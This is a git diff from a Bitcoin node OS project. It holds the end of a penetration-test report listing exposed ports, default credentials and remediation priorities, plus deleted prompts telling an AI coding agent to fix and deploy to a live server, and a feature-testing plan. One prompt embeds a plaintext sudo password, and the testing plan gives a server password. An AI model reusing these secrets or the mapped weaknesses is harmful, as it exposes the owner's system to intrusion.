| 4 | **Validate `package_id` against `^[a-z0-9-]+$` whitelist.** The `validate_app_id()` function already exists. | INJ-002 | Small |
|
||||
| 5 | **Add registry allowlist to `package.install`.** Require Cosign image signature verification. | SSRF-004 | Small |
|
||||
| 6 | **Change Grafana default password.** | RECON-003 | Small |
|
||||
|
||||
### Priority 1 — Short-term (within 1 week)
|
||||
|
||||
| # | Action | Findings Addressed | Effort |
|
||||
|---|--------|-------------------|--------|
|
||||
| 7 | **Bind all service ports to 127.0.0.1.** Grafana, NPM, LND, Bitcoin UI, Portainer — all via authenticated nginx only. | RECON-003/005/006, AUTH-009/011 | Medium |
|
||||
| 8 | **Add brute force protection** at the application level (5 failures → lockout with backoff). | AUTH-003 | Small |
|
||||
| 9 | **Require cryptographic signature verification** on `/archipelago/node-message`. | AUTH-008, XSS-001, INJ-007 | Medium |
|
||||
| 10 | **Replace CORS `*` with explicit origins.** Block direct port 5678 access via firewall. | AUTH-009, XSS-007, AUTH-012 | Small |
|
||||
| 11 | **Add security headers to nginx** (CSP, X-Frame-Options, HSTS, etc.). `server_tokens off`. | XSS-004 | Small |
|
||||
| 12 | **Apply `validate_onion()` to `node-check-peer`.** Strip port numbers. | SSRF-001 | Small |
|
||||
| 13 | **Add auth to `/aiui/api/` nginx proxy.** | INJ-006 | Small |
|
||||
|
||||
### Priority 2 — Medium-term (within 1 month)
|
||||
|
||||
| # | Action | Findings Addressed | Effort |
|
||||
|---|--------|-------------------|--------|
|
||||
| 14 | Stop running backend as root. Create dedicated service account. | Amplification factor | Medium |
|
||||
| 15 | Disable dev mode in production (`ARCHIPELAGO_DEV_MODE=false`). | Amplification factor | Small |
|
||||
| 16 | Sanitize P2P message content server-side (HTML entity encoding). | XSS-001 | Small |
|
||||
| 17 | Normalize error messages in `container-install` (prevent oracle). | INJ-001 | Small |
|
||||
| 18 | Add federation peer authentication (signature verification). | Source analysis | Medium |
|
||||
| 19 | Migrate CSP to nonce-based (remove `unsafe-inline`). | XSS-004 | Large |
|
||||
| 20 | Generate random session secret on first boot (replace `CHANGE_ME_ON_FIRST_RUN`). | Defense-in-depth | Small |
|
||||
|
||||
---
|
||||
|
||||
## 7. Positive Security Controls
|
||||
|
||||
The following controls are well-implemented and should be maintained:
|
||||
|
||||
| Control | Implementation | Rating |
|
||||
|---------|---------------|--------|
|
||||
| Password hashing | bcrypt cost 12 | Strong |
|
||||
| TOTP 2FA | Argon2id + ChaCha20 key encryption, constant-time comparison, replay protection | Excellent |
|
||||
| Session token generation | 256-bit random, SHA-256 server-side storage | Strong |
|
||||
| Cookie security | HttpOnly, SameSite=Strict (when sessions exist) | Strong |
|
||||
| App ID validation | `validate_app_id()` whitelist `[a-z0-9-]` | Good (where applied) |
|
||||
| Docker image validation | `is_valid_docker_image()` rejects shell metacharacters | Good |
|
||||
| Container manifest path | `..` check + `canonicalize()` + boundary check | Good |
|
||||
| Path traversal (nginx) | `/../` and `%2f..%2f` blocked, `.git`/`.env` not exposed | Good |
|
||||
| Rate limiting (nginx) | 20r/s burst 40 on `/rpc/v1` | Present |
|
||||
| Rate limiting (backend) | Per-method limits on financial ops, auth changes | Present |
|
||||
| CORS (nginx main) | Only allows configured origins on `/rpc/v1` | Good |
|
||||
| Secrets at rest | AES-256-GCM encryption | Strong |
|
||||
| Container security | `readonly_root`, capability dropping, non-root users | Good defaults |
|
||||
| Login error messages | "Password Incorrect" (consider generic "Invalid credentials") | Acceptable |
|
||||
|
||||
---
|
||||
|
||||
## 8. Appendix
|
||||
|
||||
### A. Technologies Detected
|
||||
|
||||
| Layer | Technology | Version |
|
||||
|-------|-----------|---------|
|
||||
| OS | Debian 12 (Bookworm) | x86_64 |
|
||||
| Web Server | nginx | 1.22.1 |
|
||||
| Reverse Proxy (containers) | OpenResty (Nginx Proxy Manager) | 2.14.0 |
|
||||
| Backend | Rust (custom binary) | 0.1.0 |
|
||||
| Frontend | Vue 3 + TypeScript + Vite 7 | — |
|
||||
| Container Runtime | Podman (rootless) | — |
|
||||
| Lightning | LND | auto-generated TLS cert |
|
||||
| Bitcoin | Bitcoin Core/Knots | mainnet, block 941146 |
|
||||
| Monitoring | Grafana | 10.2.0 |
|
||||
| Uptime | Uptime Kuma | — |
|
||||
| Search | SearXNG | 2026.2.3 |
|
||||
| Password Manager | Vaultwarden | Rocket server |
|
||||
| SSH | OpenSSH | 9.2p1 |
|
||||
|
||||
### B. Open Port Inventory
|
||||
|
||||
| Port | Service | Auth Required | Direct LAN Access |
|
||||
|------|---------|---------------|-------------------|
|
||||
| 22 | SSH | Yes (key/password) | Yes |
|
||||
| 80 | nginx (main UI) | No (frontend-only) | Yes |
|
||||
| 81 | Nginx Proxy Manager | No (setup:false) | Yes |
|
||||
| 443 | nginx (HTTPS, self-signed) | No | Yes |
|
||||
| 3000 | Grafana | No (admin:admin) | Yes |
|
||||
| 3001 | Uptime Kuma | Session | Yes |
|
||||
| 5678 | Rust backend | **No** | Yes |
|
||||
| 7777 | IndeedHub | Nostr NIP-07 | Yes |
|
||||
| 8080 | LND REST | TLS + Macaroon | Yes |
|
||||
| 8081 | LND Web UI | — | Yes |
|
||||
| 8082 | Vaultwarden | Session | Yes |
|
||||
| 8083 | FileBrowser | Session | Yes |
|
||||
| 8085 | Nextcloud | Session | Yes |
|
||||
| 8333 | Bitcoin Core P2P | Protocol | Yes |
|
||||
| 8334 | Bitcoin UI / RPC proxy | Basic Auth (hardcoded) | Yes |
|
||||
| 8888 | SearXNG | None | Yes |
|
||||
| 9000 | Portainer | Session | Yes |
|
||||
| 10009 | LND gRPC | TLS + Macaroon | Yes |
|
||||
| 50002 | ElectrumX UI | — | Yes |
|
||||
|
||||
### C. Container Inventory (30 — enumerated without authentication)
|
||||
|
||||
bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana, onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint
|
||||
|
||||
### D. Findings Not Exploitable (excluded from findings)
|
||||
|
||||
| ID | Description | Reason |
|
||||
|----|-------------|--------|
|
||||
| AUTH-004 | Default credentials (`password123`) | User changed password |
|
||||
| AUTH-010 | Weak initial password policy | Setup already complete |
|
||||
| XSS-002/003 | postMessage origin bypass | Source review only, not live exploited |
|
||||
| XSS-006 | test-aiui.html postMessage | Test file, minimal impact |
|
||||
| SSRF-003 | LND proxy data access | TLS mismatch blocks |
|
||||
| SSRF-005 | marketplace.get URL fetch | Dormant code, not compiled |
|
||||
| INJ-003 | Volume mount via bundled-app-start | Requires valid app data |
|
||||
| INJ-005 | Argument injection via package.stop | Ambiguous result |
|
||||
|
||||
### E. Root Cause Analysis
|
||||
|
||||
```
|
||||
AUTH-001 (No session management) ← ROOT CAUSE
|
||||
│
|
||||
├── AUTH-002 (All endpoints unauthenticated)
|
||||
│ ├── AUTH-005 (Frontend-only auth)
|
||||
│ ├── AUTH-007 (WebSocket unauthenticated)
|
||||
│ ├── AUTH-008 (Message injection)
|
||||
│ ├── AUTH-011 (LND proxy unauthenticated)
|
||||
│ ├── AUTH-012 (Container logs unauthenticated)
|
||||
│ ├── SSRF-001 (Blind SSRF)
|
||||
│ ├── SSRF-002 (Outbound SSRF)
|
||||
│ ├── SSRF-004 (Arbitrary container pull)
|
||||
│ ├── INJ-001 (File oracle)
|
||||
│ ├── INJ-002 (Path traversal)
|
||||
│ ├── XSS-001 (Stored XSS)
|
||||
│ └── INJ-007 (Log injection)
|
||||
│
|
||||
├── AUTH-003 (No brute force protection)
|
||||
└── AUTH-006 (No-op logout)
|
||||
|
||||
RECON-001/002/003 (Credential exposure) — INDEPENDENT of auth
|
||||
AUTH-009/XSS-007 (CORS wildcard) — AMPLIFIES all above to remote
|
||||
XSS-004 (Missing headers) — REMOVES defense-in-depth
|
||||
RECON-005/006 (Port exposure) — BYPASSES nginx protections
|
||||
```
|
||||
|
||||
**Fixing AUTH-001 alone addresses 15 of 27 findings.** Combined with credential lockdown (RECON-001/002/003) and port binding (RECON-005/006), 23 of 27 findings are resolved or significantly mitigated.
|
||||
|
||||
### F. OWASP Top 10 Mapping
|
||||
|
||||
| OWASP 2021 | Finding Count | Findings |
|
||||
|------------|--------------|----------|
|
||||
| A01 — Broken Access Control | 8 | AUTH-002/005/007/011/012, RECON-001/004, INJ-001 |
|
||||
| A03 — Injection | 5 | INJ-002/007, AUTH-008, XSS-001/005 |
|
||||
| A05 — Security Misconfiguration | 7 | AUTH-009, XSS-004/007, RECON-002/005/006, INJ-006 |
|
||||
| A07 — Auth Failures | 4 | AUTH-001/003/006, RECON-003 |
|
||||
| A09 — Logging & Monitoring | 1 | INJ-007 |
|
||||
| A10 — SSRF | 3 | SSRF-001/002/004 |
|
||||
|
||||
---
|
||||
|
||||
*End of Report*
|
||||
|
||||
*Assessment period: 2026-03-06 through 2026-03-18*
|
||||
*Classification: CONFIDENTIAL — Owner only*
|
||||
*27 total findings: 8 Critical, 10 High, 6 Medium, 3 Low*
|
||||
1242
loop/plan.md
1242
loop/plan.md
File diff suppressed because it is too large
Load Diff
@@ -1,38 +0,0 @@
|
||||
#!/usr/bin/env sh
|
||||
# Pre-run script: verify repo state and create overnight branch.
|
||||
set -eu
|
||||
|
||||
PROJECT_DIR="${CLAUDE_PROJECT_DIR:-$(cd "$(dirname "$0")/.." && pwd)}"
|
||||
cd "$PROJECT_DIR"
|
||||
|
||||
DATE=$(date '+%Y-%m-%d')
|
||||
BRANCH="overnight/${DATE}"
|
||||
|
||||
echo "=== Archy overnight pre-run check @ $(date '+%Y-%m-%dT%H:%M:%S') ==="
|
||||
|
||||
# 1. Check git status is clean
|
||||
if ! git diff --quiet || ! git diff --cached --quiet; then
|
||||
echo "Error: Working tree not clean. Commit or stash changes first." >&2
|
||||
git status --short >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 2. Check we're not already on an overnight branch
|
||||
current=$(git branch --show-current 2>/dev/null || true)
|
||||
if [ -n "$current" ] && [ "$current" = "$BRANCH" ]; then
|
||||
echo "Already on $BRANCH. Ready to run." >&2
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# 3. Create date-stamped branch
|
||||
if git rev-parse --verify "$BRANCH" >/dev/null 2>&1; then
|
||||
echo "Branch $BRANCH already exists. Checkout or use a different date." >&2
|
||||
exit 1
|
||||
fi
|
||||
git checkout -b "$BRANCH"
|
||||
echo "Created branch $BRANCH"
|
||||
|
||||
echo ""
|
||||
echo "Reminder: Push before starting overnight run: git push -u origin $BRANCH"
|
||||
echo "Then run: caffeinate -i ./loop/loop.sh"
|
||||
echo "=== Ready ==="
|
||||
@@ -1,60 +0,0 @@
|
||||
You are remediating security vulnerabilities found during a penetration test of Archipelago. Read these files first:
|
||||
|
||||
1. `loop/plan.md` — Your fix checklist (mark items `- [x]` as you complete them)
|
||||
2. `CLAUDE.md` — Archy project conventions, architecture, coding standards
|
||||
3. `loop/pentest/security-assessment-report.md` — Full pentest report with findings and evidence
|
||||
|
||||
## Architecture Reference
|
||||
|
||||
```
|
||||
Nginx (port 80) → Rust backend (port 5678) → Podman containers
|
||||
→ Vue 3 frontend (static files)
|
||||
→ WebSocket /ws/db
|
||||
```
|
||||
|
||||
Key backend files:
|
||||
- `core/archipelago/src/api/handler.rs` — HTTP request routing and middleware
|
||||
- `core/archipelago/src/api/rpc/mod.rs` — RPC method dispatch and auth gating
|
||||
- `core/archipelago/src/api/rpc/auth.rs` — Login/logout handlers
|
||||
- `core/archipelago/src/session.rs` — Session store, rate limiter, cookie helpers
|
||||
- `core/archipelago/src/api/rpc/package.rs` — Package install/uninstall
|
||||
- `core/archipelago/src/api/rpc/peers.rs` — P2P peer messaging
|
||||
- `core/archipelago/src/node_message.rs` — P2P message storage and validation
|
||||
- `image-recipe/configs/nginx-archipelago.conf` — Nginx config
|
||||
- `image-recipe/configs/archipelago.service` — Systemd service
|
||||
|
||||
## For each task in loop/plan.md:
|
||||
|
||||
1. Find the first unchecked `- [ ]` item
|
||||
2. Read the task description and the corresponding finding in the pentest report
|
||||
3. Read the relevant source files before making changes
|
||||
4. Implement the fix following CLAUDE.md conventions
|
||||
5. Deploy to live server: `./scripts/deploy-to-target.sh --live`
|
||||
6. Verify the specific fix works (curl test against the endpoint)
|
||||
7. Commit: `fix: description` (conventional commits)
|
||||
8. Mark it done `- [x]` in `loop/plan.md`
|
||||
9. Move to the next unchecked task immediately
|
||||
|
||||
## When all FIX tasks are done:
|
||||
|
||||
Run the full verification suite:
|
||||
|
||||
```bash
|
||||
./scripts/verify-pentest-fixes.sh
|
||||
```
|
||||
|
||||
If ALL 26 checks pass (exit code 0):
|
||||
- Mark VERIFY as `- [x]` in `loop/plan.md`
|
||||
- Commit the final state
|
||||
|
||||
If ANY check fails (exit code 1):
|
||||
- DO NOT mark VERIFY done
|
||||
- Fix the failing checks, redeploy, and re-run verification
|
||||
- Only mark VERIFY done when all checks pass
|
||||
|
||||
## Rules
|
||||
|
||||
- Never skip deploy — changes must be live at 192.168.1.228 before marking done
|
||||
- If a fix breaks something else, fix the regression before moving on
|
||||
- Test each fix individually before moving to the next
|
||||
- Do not stop until all tasks are checked and verification passes, or you are rate limited
|
||||
@@ -1,91 +0,0 @@
|
||||
You are running a 2-year production roadmap for Archipelago (Archy) — taking it from developer preview to a flawless, mass-market Bitcoin Node OS (v1.0).
|
||||
|
||||
Read these files first:
|
||||
|
||||
1. `loop/plan.md` — Your task checklist (mark items `- [x]` as you complete them)
|
||||
2. `CLAUDE.md` — Archy project conventions, architecture, coding standards
|
||||
|
||||
## Architecture Quick Reference
|
||||
|
||||
```
|
||||
Server: 192.168.1.228 (ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228)
|
||||
Frontend: neode-ui/ → builds to web/dist/neode-ui/ → deployed to /opt/archipelago/web-ui/
|
||||
Backend: core/archipelago/ → Rust binary → deployed to /usr/local/bin/archipelago
|
||||
Nginx: /etc/nginx/sites-available/archipelago (source: image-recipe/configs/nginx-archipelago.conf)
|
||||
Systemd: /etc/systemd/system/archipelago.service (source: image-recipe/configs/archipelago.service)
|
||||
Deploy: scripts/deploy-to-target.sh, scripts/first-boot-containers.sh
|
||||
ISO: image-recipe/build-auto-installer-iso.sh
|
||||
```
|
||||
|
||||
## Key Paths
|
||||
|
||||
- Views: `neode-ui/src/views/*.vue`
|
||||
- Components: `neode-ui/src/components/*.vue`
|
||||
- Stores: `neode-ui/src/stores/*.ts`
|
||||
- API clients: `neode-ui/src/api/*.ts`
|
||||
- Global styles: `neode-ui/src/style.css`
|
||||
- Router: `neode-ui/src/router/index.ts`
|
||||
- Context broker: `neode-ui/src/services/contextBroker.ts`
|
||||
- Types: `neode-ui/src/types/*.ts`
|
||||
- Backend entry: `core/archipelago/src/main.rs`
|
||||
- RPC handlers: `core/archipelago/src/api/rpc/*.rs`
|
||||
- Container mgmt: `core/container/src/*.rs`
|
||||
- Security: `core/security/src/*.rs`
|
||||
- Identity: `core/archipelago/src/identity/` (to be created)
|
||||
- Network: `core/archipelago/src/network/` (to be created)
|
||||
- Wallet: `core/archipelago/src/wallet/` (to be created)
|
||||
- Nginx config: `image-recipe/configs/nginx-archipelago.conf`
|
||||
- Systemd service: `image-recipe/configs/archipelago.service`
|
||||
- Web5 docs: `docs/WEB5_NOSTR_IDENTITY.md`
|
||||
- Three-mode UI spec: `docs/three-mode-ui-design.md`
|
||||
- Port assignments: `apps/PORTS.md`
|
||||
|
||||
## For each task in loop/plan.md:
|
||||
|
||||
1. Find the first unchecked `- [ ]` item
|
||||
2. Read the task description carefully — it tells you exactly what to do
|
||||
3. Read ALL relevant source files before making changes
|
||||
4. Make the change following CLAUDE.md conventions strictly:
|
||||
- Global CSS classes in style.css, NEVER inline Tailwind in components
|
||||
- `<script setup lang="ts">` only, no Options API
|
||||
- No `any` types — use proper TypeScript types
|
||||
- No `unwrap()`/`expect()` in Rust production code — use `?` operator
|
||||
- Use `tracing` for Rust logging — never `println!`
|
||||
5. For frontend changes:
|
||||
- Run `cd neode-ui && npm run type-check` — fix ALL errors
|
||||
- Run `cd neode-ui && npm run build` — must succeed
|
||||
- Deploy: `./scripts/deploy-to-target.sh --live`
|
||||
- Verify at http://192.168.1.228
|
||||
6. For backend changes:
|
||||
- Do NOT build Rust on macOS — the deploy script handles it
|
||||
- Deploy: `./scripts/deploy-to-target.sh --live`
|
||||
- Verify the service is running on the server
|
||||
7. For nginx/systemd/infra changes:
|
||||
- Deploy the config file to the server (commands in the task description)
|
||||
- Validate config before applying (nginx -t)
|
||||
- Verify the service works after applying
|
||||
8. For new feature development:
|
||||
- Create new files in the appropriate module directories
|
||||
- Follow existing patterns in the codebase
|
||||
- Wire new RPC endpoints through the existing RPC system
|
||||
- Add new views to the router
|
||||
- Add new stores as needed
|
||||
9. Mark it done `- [x]` in `loop/plan.md`
|
||||
10. Commit: `type: description`
|
||||
11. Move to the next unchecked task immediately
|
||||
|
||||
## Critical Rules
|
||||
|
||||
- **Do NOT break existing functionality** — if your change breaks something, fix it before moving on
|
||||
- **Read files before editing** — understand before changing
|
||||
- **Never skip type-check or build** — if it fails, fix before moving on
|
||||
- **Always deploy after completing a task** — changes must be live
|
||||
- **Use SSH key, not password**: `ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228`
|
||||
- For sudo: pipe the password `echo "EwPDR8q45l0Upx@" | sudo -S <command>`
|
||||
- **Follow the design system** — glass cards, glass buttons, existing color tokens, no gradient buttons
|
||||
- **Replace dummy data with real backends** — no more hardcoded values in Web5.vue
|
||||
- **New Rust modules** go in `core/archipelago/src/` with proper error types
|
||||
- **New Vue views** go in `neode-ui/src/views/` with `<script setup lang="ts">`
|
||||
- If a task is proving difficult after 15+ genuine attempts, add `(BLOCKED: reason)` to the task and move on
|
||||
- Do not stop until all tasks are checked or you hit rate limits
|
||||
- Commit after each completed task
|
||||
572
loop/testing.md
572
loop/testing.md
@@ -1,572 +0,0 @@
|
||||
# Overnight Testing Plan — Archipelago Full Feature Verification
|
||||
|
||||
**Goal**: Systematically test every functional feature of Archipelago on the live dev server (192.168.1.228). When a test fails, diagnose the issue, fix it, deploy, and re-test until it passes. Maintain a tick list of every feature verified.
|
||||
|
||||
**Method**: For each feature group, run tests against the live server via RPC. On failure: read relevant source, fix the bug, deploy with `./scripts/deploy-to-target.sh --live`, and re-test. Loop until all tests pass before moving to the next group.
|
||||
|
||||
**Server**: `192.168.1.228` | **Password**: `password123`
|
||||
**SSH**: `ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228`
|
||||
|
||||
### Latest Run: 2026-03-09 — 46/47 PASSED (1 skipped)
|
||||
|
||||
**Automated E2E Results** (via `scripts/run-e2e-tests.sh` on server):
|
||||
- Auth: PASS
|
||||
- Identity (list/create/sign/verify/delete/nostr-key/nostr-sign): ALL PASS
|
||||
- Names (register/resolve/remove): ALL PASS
|
||||
- Credentials (list/issue): ALL PASS
|
||||
- Lightning (getinfo/listchannels/newaddress/createinvoice 0+1000): ALL PASS
|
||||
- Tor (list/create/delete/get-onion): ALL PASS
|
||||
- Wallet ecash (balance/history/profits): ALL PASS
|
||||
- Content (list-mine): PASS
|
||||
- Network (visibility/diagnostics/requests/peers): ALL PASS
|
||||
- Nostr relays (list/stats): ALL PASS
|
||||
- DWN (status): PASS
|
||||
- Update (status/check): ALL PASS
|
||||
- Router (info/forwards): ALL PASS
|
||||
- HTTP (/health, /electrs-status): ALL PASS
|
||||
- Containers (list): PASS; container-status: FAIL (dev-mode orchestrator issue)
|
||||
|
||||
**Bugs Fixed**:
|
||||
1. `lnd.createinvoice` rejected zero-amount invoices (BOLT11 "any amount") — fixed validation
|
||||
2. `identity.verify` required local identity lookup — now extracts pubkey from `did:key` directly
|
||||
3. `tor.create-service` failed with permissions error — now writes to `tor-config/` not `tor/` (owned by debian-tor)
|
||||
|
||||
---
|
||||
|
||||
## Pre-Flight Checks
|
||||
|
||||
- [ ] **PRE-01** — Verify server is reachable: `curl -s http://192.168.1.228/health` returns 200
|
||||
- [ ] **PRE-02** — Verify web UI loads: `curl -s http://192.168.1.228/` returns HTML containing "Archipelago"
|
||||
- [ ] **PRE-03** — Verify RPC authentication works: call `auth.login` with `password123`, confirm session cookie set
|
||||
- [ ] **PRE-04** — Verify WebSocket connects: `curl -s -N -H "Upgrade: websocket" http://192.168.1.228/ws/db` responds with upgrade
|
||||
- [ ] **PRE-05** — Verify disk space: SSH and check `df -h /` has >5GB free. If not, prune old container images with `podman image prune -af`
|
||||
- [ ] **PRE-06** — Verify backend service running: SSH and check `systemctl is-active archipelago` returns `active`
|
||||
|
||||
---
|
||||
|
||||
## Group 1: Bitcoin Knots — Core Node
|
||||
|
||||
**Priority**: CRITICAL — everything depends on this
|
||||
|
||||
- [ ] **BTC-01** — Verify `bitcoin-knots` container exists: call `container-list` RPC, confirm `bitcoin-knots` in response
|
||||
- [ ] **BTC-02** — Verify `bitcoin-knots` container is running: status should be "running" in container list
|
||||
- [ ] **BTC-03** — If not running, start it: call `package.start` with `{"id":"bitcoin-knots"}`. Wait up to 60s for startup
|
||||
- [ ] **BTC-04** — Verify Bitcoin RPC responds: call `bitcoin.getinfo` RPC. Should return `block_height`, `sync_progress`, `chain`
|
||||
- [ ] **BTC-05** — Verify blockchain sync progress: `sync_progress` or `verification_progress` should be > 0.99 (99%+). If still syncing, log progress and continue (non-blocking)
|
||||
- [ ] **BTC-06** — Verify Bitcoin is on mainnet: `chain` should be `"main"` or `"mainnet"`
|
||||
- [ ] **BTC-07** — Verify mempool data: `mempool_size` and `mempool_tx_count` should be numeric values >= 0
|
||||
- [ ] **BTC-08** — Verify Bitcoin UI loads: `curl -s http://192.168.1.228/app/bitcoin-knots/` returns HTTP 200 or redirect
|
||||
- [ ] **BTC-09** — Verify Bitcoin port 8332 is proxied: check nginx proxy at `/app/bitcoin-knots/` resolves
|
||||
- [ ] **BTC-10** — Verify bitcoin data directory exists on server: SSH check `/var/lib/archipelago/bitcoin/` exists
|
||||
|
||||
**Fix strategy**: If Bitcoin container missing, check `docker_packages.rs` metadata and `package.rs` config. If RPC fails, check macaroon paths and bitcoin.conf. If container won't start, check logs with `container-logs` RPC.
|
||||
|
||||
---
|
||||
|
||||
## Group 2: LND — Lightning Network Daemon
|
||||
|
||||
**Priority**: CRITICAL — wallet, channels, payments depend on this
|
||||
|
||||
- [ ] **LND-01** — Verify `lnd` container exists in container list
|
||||
- [ ] **LND-02** — Verify `lnd` container is running
|
||||
- [ ] **LND-03** — If not running, start it: call `package.start` with `{"id":"lnd"}`. Wait up to 90s (LND needs Bitcoin synced)
|
||||
- [ ] **LND-04** — Verify LND connects to Bitcoin: call `lnd.getinfo` RPC. Should return `synced_to_chain`, `block_height`
|
||||
- [ ] **LND-05** — Verify LND is synced: `synced_to_chain` should be `true`. If false, log and wait up to 5 min
|
||||
- [ ] **LND-06** — Verify LND alias is set: `alias` field should be non-empty
|
||||
- [ ] **LND-07** — Verify LND channel count: `num_active_channels` should be numeric (0 is OK for fresh install)
|
||||
- [ ] **LND-08** — Verify LND peer count: `num_peers` should be numeric
|
||||
- [ ] **LND-09** — Verify LND on-chain balance accessible: `balance_sats` should be numeric >= 0
|
||||
- [ ] **LND-10** — Verify LND channel balance accessible: `channel_balance_sats` should be numeric >= 0
|
||||
- [ ] **LND-11** — Verify LND REST API proxied: check `/proxy/lnd/v1/getinfo` responds through nginx
|
||||
- [ ] **LND-12** — Verify LND admin macaroon exists on server: SSH check `/var/lib/archipelago/lnd/data/chain/bitcoin/mainnet/admin.macaroon`
|
||||
- [ ] **LND-13** — Verify LND TLS cert exists: SSH check `/var/lib/archipelago/lnd/tls.cert`
|
||||
- [ ] **LND-14** — Verify LND UI loads: check port 8081 proxy at `/app/lnd/`
|
||||
|
||||
**Fix strategy**: If LND can't connect to Bitcoin, verify `archy-net` bridge exists and both containers are on it. Check LND startup args in `get_app_config()`. If macaroon missing, LND wallet may need initialization.
|
||||
|
||||
---
|
||||
|
||||
## Group 3: Bitcoin Wallet — On-Chain (via LND)
|
||||
|
||||
**Priority**: HIGH — core financial feature
|
||||
|
||||
- [ ] **WAL-01** — Generate new on-chain address: call `lnd.newaddress` RPC. Should return `{"address":"bc1..."}` (bech32)
|
||||
- [ ] **WAL-02** — Verify address format: address should start with `bc1` (mainnet bech32) or `tb1` (testnet)
|
||||
- [ ] **WAL-03** — Verify address is unique: call `lnd.newaddress` again, confirm different address returned
|
||||
- [ ] **WAL-04** — Verify on-chain balance query: call `lnd.getinfo`, check `balance_sats` returns a number
|
||||
- [ ] **WAL-05** — Test send validation (bad address): call `lnd.sendcoins` with `{"addr":"invalid","amount":1000}`. Should return error about invalid address
|
||||
- [ ] **WAL-06** — Test send validation (dust amount): call `lnd.sendcoins` with `{"addr":"bc1qvalidaddress","amount":100}`. Should return error about minimum 546 sats
|
||||
- [ ] **WAL-07** — Test send validation (zero amount): call `lnd.sendcoins` with `{"addr":"bc1qvalidaddress","amount":0}`. Should return error
|
||||
- [ ] **WAL-08** — Verify wallet RPC endpoints exist in handler: grep `lnd.newaddress` and `lnd.sendcoins` in RPC router
|
||||
- [ ] **WAL-09** — Verify Web5 view shows wallet section: check `Web5.vue` renders on-chain balance, send/receive buttons
|
||||
- [ ] **WAL-10** — Verify Web5 wallet "Receive" generates address in UI (frontend check: the RPC is called and address displayed)
|
||||
|
||||
**Fix strategy**: If newaddress fails, check LND wallet status — may need `lncli create` or `lncli unlock`. If sendcoins validation wrong, check amount/address validation in `lnd.rs`. If Web5 view broken, check `Web5.vue` composables.
|
||||
|
||||
---
|
||||
|
||||
## Group 4: Lightning Wallet — Invoices & Payments
|
||||
|
||||
**Priority**: HIGH — Lightning is the primary payment rail
|
||||
|
||||
- [ ] **LN-01** — Create Lightning invoice: call `lnd.createinvoice` with `{"amount_sats":1000,"memo":"test invoice"}`. Should return `payment_request` starting with `lnbc`
|
||||
- [ ] **LN-02** — Verify invoice format: `payment_request` should be a valid BOLT11 string (starts with `lnbc` on mainnet, `lntb` on testnet)
|
||||
- [ ] **LN-03** — Verify invoice amount: response should include `amount_sats: 1000`
|
||||
- [ ] **LN-04** — Create zero-amount invoice: call `lnd.createinvoice` with `{"amount_sats":0}`. Should succeed (any-amount invoice)
|
||||
- [ ] **LN-05** — Test pay invoice validation (self-pay): call `lnd.payinvoice` with the invoice from LN-01. Should fail (can't pay own invoice) or succeed if channels exist — either way should not crash
|
||||
- [ ] **LN-06** — Test pay invoice validation (invalid): call `lnd.payinvoice` with `{"payment_request":"invalid"}`. Should return error
|
||||
- [ ] **LN-07** — List channels: call `lnd.listchannels`. Should return `{"channels":[],"total_inbound":0,"total_outbound":0}` or actual channel data
|
||||
- [ ] **LN-08** — Verify channel data structure: each channel should have `chan_id`, `remote_pubkey`, `capacity`, `local_balance`, `remote_balance`, `active`
|
||||
- [ ] **LN-09** — Test open channel validation (bad pubkey): call `lnd.openchannel` with `{"pubkey":"invalid","amount":50000}`. Should return error
|
||||
- [ ] **LN-10** — Test open channel validation (too small): call `lnd.openchannel` with `{"pubkey":"validpubkey","amount":1000}`. Should return error about minimum 20000 sats
|
||||
- [ ] **LN-11** — Verify Lightning Channels view renders: check `LightningChannels.vue` route `/dashboard/apps/lnd/channels` exists in router
|
||||
- [ ] **LN-12** — Verify Web5 wallet shows Lightning balance: check Web5.vue renders `channel_balance_sats`
|
||||
|
||||
**Fix strategy**: If createinvoice fails, check LND wallet is unlocked and synced. If listchannels returns wrong format, fix response mapping in `lnd.rs`. If LightningChannels.vue broken, check the Vue component and its RPC calls.
|
||||
|
||||
---
|
||||
|
||||
## Group 5: Electrs — Bitcoin Indexer
|
||||
|
||||
**Priority**: HIGH — Mempool depends on this
|
||||
|
||||
- [ ] **ELX-01** — Verify `mempool-electrs` container exists in container list
|
||||
- [ ] **ELX-02** — Verify `mempool-electrs` container is running
|
||||
- [ ] **ELX-03** — If not running, start it (requires Bitcoin running first)
|
||||
- [ ] **ELX-04** — Verify Electrs connects to Bitcoin: check `/electrs-status` HTTP endpoint returns JSON with sync status
|
||||
- [ ] **ELX-05** — Verify Electrs port 50001 is listening: SSH `curl -s http://localhost:50001/` or check via container inspect
|
||||
- [ ] **ELX-06** — Verify Electrs dashboard: check port 50002 responds
|
||||
- [ ] **ELX-07** — Verify dependency enforcement: if Bitcoin is stopped, installing Electrs should fail or warn
|
||||
|
||||
**Fix strategy**: If Electrs can't find Bitcoin, check `archy-net` connectivity. Check startup args in `get_app_config()` — should point to `bitcoin-knots:8332`.
|
||||
|
||||
---
|
||||
|
||||
## Group 6: Mempool Explorer
|
||||
|
||||
**Priority**: MEDIUM — visualization tool, not critical path
|
||||
|
||||
- [ ] **MEM-01** — Verify `mempool-web` (or `mempool`) container exists
|
||||
- [ ] **MEM-02** — Verify `mempool-api` container exists
|
||||
- [ ] **MEM-03** — Verify `mysql-mempool` (or `archy-mempool-db`) container exists
|
||||
- [ ] **MEM-04** — Verify all three Mempool containers are running
|
||||
- [ ] **MEM-05** — If not running, start in order: mysql → mempool-api → mempool-web
|
||||
- [ ] **MEM-06** — Verify Mempool UI loads: `curl -s http://192.168.1.228/app/mempool/` returns HTML
|
||||
- [ ] **MEM-07** — Verify Mempool API responds: check port 8999 via proxy
|
||||
- [ ] **MEM-08** — Verify Mempool connects to Electrs: API should return block data
|
||||
|
||||
**Fix strategy**: If Mempool fails, check all 3 containers are on `archy-net`. Check environment variables in `get_app_config()` for database credentials and Electrs connection.
|
||||
|
||||
---
|
||||
|
||||
